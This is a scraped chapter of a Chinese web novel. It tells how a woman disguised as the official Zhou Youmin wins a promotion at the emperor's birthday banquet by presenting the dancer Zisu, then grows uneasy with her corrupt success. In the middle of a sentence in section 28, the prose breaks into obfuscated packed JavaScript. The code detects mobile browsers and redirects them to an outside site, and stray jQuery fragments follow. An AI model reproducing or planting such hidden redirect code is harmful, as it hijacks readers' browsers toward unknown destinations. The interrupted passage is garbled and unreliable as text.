默认冷灰
24号文字
方正启体

11. 升官

作者:龙猫茜本书字数:K更新时间:
    27


    皇帝诞辰,普天同乐。宴会当晚,百官云集,纷纷献上贺礼。


    昏君坐在高位上,单手撑着下巴,看起来兴致缺缺。旁边的妃子笑着拨开葡萄皮,将晶莹剔透的果肉送到他的唇边。而底下的官员们,就像是费尽心思的杂耍艺人,拼命想要获得君王的青眼。


    所谓贺礼,无非是诗词字画、金银珠宝之类的物件,只不过模样不同罢了。


    顾郎献上夜明珠,昏君只粗略扫了一眼,便摆摆手过去了,看起来根本没有放在眼里。


    很快就轮到了李郎。他按照我的建议,制作了万寿无疆图。


    听完这张图的由来寓意,昏君微微颔首,多看了几眼:“不错,赏。”


    仅仅是三个字,却令李郎大喜过望。他连忙作揖,告退时眼底是遮不住的欢喜。


    接着呈上的贺礼,都无甚新意。昏君打了个哈欠,似乎有些不耐烦。


    正巧赶上这关口,刘郎呈上了贺礼:“这是微臣特意寻来能工巧匠,打造出来的一套寿桃鎏金酒器。祝陛下洪福齐天,万寿无疆。”


    昏君喜美酒,酒器投其所好,也算是讨巧的办法。难怪刘郎始终遮遮掩掩,不肯跟别人透露半点风声。


    我原以为刘郎会得到嘉奖,没想到昏君却眯起眼,面露不虞道:“在你的眼里,朕就这般沉迷酒色?”


    “微、微臣不敢。”刘郎身形踉跄了一下,声音止不住的颤抖,“这、这酒器只是……”


    “滚!”昏君打断他的辩解,直接大手一挥,“来人,拖下去。”


    刘郎顿时面如死灰,直接瘫软在地。那日我回怼他的戏言,没想到竟然一语成谶。


    原先我只是听闻昏君喜怒不定,如今真的亲眼见到,不免有些心惊。


    常言都道,无情最是帝王家。别人的生死沉浮,毕生追求的富贵荣辱,落到他的嘴边,不过是轻描淡写的几句话。


    因着这番波折,在场鸦雀无声,甚至无人敢再上前。他们生怕皇帝余怒未消,波及到自己。


    “众爱卿怎么都不说话?”


    昏君的声音,在此时无异于催命符。


    最后还是王丞相打破了这片诡异的沉默。他道:“微臣聊备了一些薄礼,愿陛下与天同寿。”


    昏君既没有说好,也没有说不好,只是心不在焉地点了点头。他歪着脑袋,靠在嫔妃的肩头,心思似乎飘向了别处。


    其他朝臣见无事发生,才暗自松了口气,继续依次恭贺献礼。


    我观察了好一会儿,直觉时机差不多,才迈步而出,开口道:“微臣为陛下准备的贺礼,有些许特殊。”


    “哦,怎么个特殊法?”昏君抬头看向我。


    “我献给陛下的,不是物,而是人。准确来说,是一支舞。”


    我屏住呼吸,朝后摆手示意。一群戴着面纱的女子鱼贯而入,随着奏乐翩翩起舞。而站在最中央的,便是手抱琵琶的紫苏。


    她一手拨弦,一手舞动,脚尖步步生莲,身姿摇曳轻盈。最终如我们提前约好的那般,她脸上的面纱,在舞曲的最后随风落下。


    世界仿佛安静了一瞬,昏君陡然间站了起来。他瞪大双眼,满脸不可置信,吼道:“大胆!”


    “你是什么人,竟敢凭这副面貌出现在朕的面前?你们以为朕是这么好戏弄的吗?!”


    昏君咬牙切齿,眼珠里尽是殷红血丝,看起来恨不得吃了我。


    我远远看见对面的朝臣,目光里隐约带着几分悲悯和同情。或许在他们的眼里,得罪皇帝的我,俨然成为了一个死人。


    这是一场生死对弈。要么平步青云,要么满盘皆输。


    在这短暂的瞬间,我的掌心渗出了细汗。周佑民是赌徒,我也不遑多让。唯一的区别在于,他赌的是钱财,我赌的是性命。


    空气极具压迫感,几乎令人窒息。昏君忽然吐出一口浊气,猛地跌回宝座。他捂着脸,低笑了几声,状似癫狂,很快又变脸般地恢复了理智。


    昏君看了看紫苏,又指了指我。他的声音变得和缓,像是吐着信子的蛇:“你,还有你,叫什么名字?”


    紫苏低下头,不卑不亢地答道:“民女名为苏梓。”


    苏梓倒过来,便是紫苏。


    我也低着头,回答道:“微臣名为周佑民,是礼部的主事之一。”


    “周佑民……很好,朕记住你的名字了。”昏君拍了拍手掌,嘴角勾起一抹弧度,“你送的这份贺礼,是近年来最有趣的东西,朕十分喜欢。赏,重重有赏!”


    他眯起眼睛,似乎在回想着什么,紧接着说道:“王丞相,朕好像记得,这礼部侍郎一职正好空缺,是吗?”


    王丞相捋了捋胡须,答道:“回陛下,确有此事。”


    昏君挥了挥手,做下了决断:“眼下便有如此人才,便把侍郎之位给他吧。”


    28


    人生三大幸事,升官发财死夫君。


    我成了礼部侍郎,还额外得到几箱银子作为奖赏。


    紫苏成了皇帝的宠妃,很快就册封为了皇后。李郎见了她都要跪拜叩首,张知节遇着她都要礼让三分。


    昏君将她留在身边,日夜形影不离。他把对前皇后的遗憾,尽数寄托在紫苏的身上,仿佛扮演自欺欺人的家家酒。


    或许在他看来,紫苏的出现是因缘巧合,还是别有居心,根本就不重要。因为他是至高无上的帝王,没人能轻易伤他性命,他只需考虑自己的悲欢喜怒。


    不喜欢的就杀掉,喜欢的就留下。他就像是被惯坏了的小孩,在皇权的溺爱之下,极尽天真无邪的残忍。


    紫苏摸清昏君的脾性以后,便开始旁敲侧击打探他对朝臣政务的看法,再暗中给我传递消息。


    因着这层关系,我在早朝的发言中,次次都能讨得昏君的欢心。


    上有所好,下必甚焉。我当不了清官,只能做个奸臣。


    自从我成了皇帝眼前的红人,便时常有人用银子收买贿赂,试图跟我结下交情。我自然是来者不拒,一并将所有钱财收入囊中。


    说不上腰缠万贯,但也算是小有钱财。我雇人将府邸修缮了一番,又添了不少家丁奴婢。马厩里堆满了稻草,骏马养得油光水亮。


    出门便有马车接送,只要我一抬脚,便有人跪在跟前,自愿当下车的脚垫。


    住在奢华的宅院,身穿锦衣华服,吃的是山珍海味。我梦寐以求的富贵,如今便近在咫尺,成为了活生生的现实。可当这日真正来临,我却觉得索然无味。


    不够,还是不够。这些都不是我真正要的。


    我陷入一股莫名的空虚,内心深处无比焦躁不安。大脑里仿佛钻进了一只饕餮,欲望不断膨胀,不管如何吞咽,始


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569724|171380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    终都饥渴难耐。


    在无人的深夜,我坐在镜子前,看着周郎的这张脸。忽然有些弄不明白,我想要的到底是什么。


    29


    这天在前去早朝的路上,有一位陌生少年忽然从街边冲了出来,伸手拦住了我的马车。


    我掀起帘子,探出半个头,问道:“光天化日,为何在此寻衅滋事?”


    这少年面容稍显稚嫩,看起来约莫十四五岁。衣服布料是上好的丝绸,刺绣样式极为精致,估计是哪家偷跑出来的世家子。


    他双手环抱,上上下下打量着我,接着横眉冷对,问道:“你就是周佑民?”


    只是个不懂事的孩子,我自然不会太过计较。看着他这副不可一世的傲气模样,我不禁哑然失笑,回答道:“正是。”


    或许是我的目光太过慈祥,他似乎觉得自己被看轻了,恼羞成怒道:“我呸,你这个媚上欺下的贪官,不要脸的奸臣!”


    我不想跟他计较,并不代表我乐意听人指着鼻子骂自己。


    “喂,小家伙。”我侧着身子,往外伸长脖子,“口说无凭,你可不要血口喷人。说我是贪官奸臣,你又从哪里听说的,能不能拿出证据?”


    “哼,我姑姑婶婶大伯二叔都是这么说的。我表哥玉树临风,饱读诗书,才华横溢,你这种酒肉饭囊根本比不上他。若不是他让着你,礼部侍郎的职位,怎么会落到你的头上!”


    “你表哥是谁?”


    “我表哥是……”他挺着胸脯,满脸的骄傲崇拜,正要顺着我的话头说下去,却猛然回过神,立即闭上了嘴。


    好吧,激将法不管用。没有自报家门,看来这小子还不至于蠢上天。


    既然暗的不行,就来明的吧。我伸出手,想把他拉进车厢,好生盘问一番。


    没想到他颇为灵敏,一下子甩开我的手,像只泥鳅一样溜了出去。混乱间我失去平衡,朝前栽了下去,他手肘后撤,巴掌正好扇到了我的脸上。


    待我稳住身形,他早已消失在人群之中。我捂着自己发疼的脸颊,心里很不是滋味。


    这一巴掌打醒了我。


    我忽然意识到,现在这份权力从来都不属于我。


    我以为自己大获全胜,但其实什么都没有得到。不管是我,还是紫苏,我们都是被关在笼中的困兽,从饲养者那里拿到了些许施舍,便自以为赢得了一切,甚至为此沾沾自喜。


    我们没有把任何人踩到脚下。因为他们跪的不是紫苏,是皇权。他们攀附的不是我,是地位。


    在我自己也不曾意识到的时候,我把紫苏当成了手中的棋子,用冠冕堂皇的借口,完成某种象征性的上供,来换取所谓的名利。原来至始至终,我都跟自己瞧不起的男人没什么区别。


    我有些迷茫。如果不这样做,我又能怎么办呢?


    一个女人所能做的事有限,于是我把自己伪装成了男人。在不知不觉间,我的思维也在潜移默化中转变,连我自己都感到恶心。


    曾经我是叶婉清,我守着闺房,盼着竹马回来娶我。现在我是周佑民,我渴望权势,盼着昏君施舍垂青。难道所谓的富贵,只能一味地奉承讨好吗?


    女人讨好男人,男人讨好权势。层层堆砌的等级,如同一层层玲珑宝塔,压得人喘不过气。无论是哪种人生,无论选择哪种面容,始终都无法得偿所愿。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)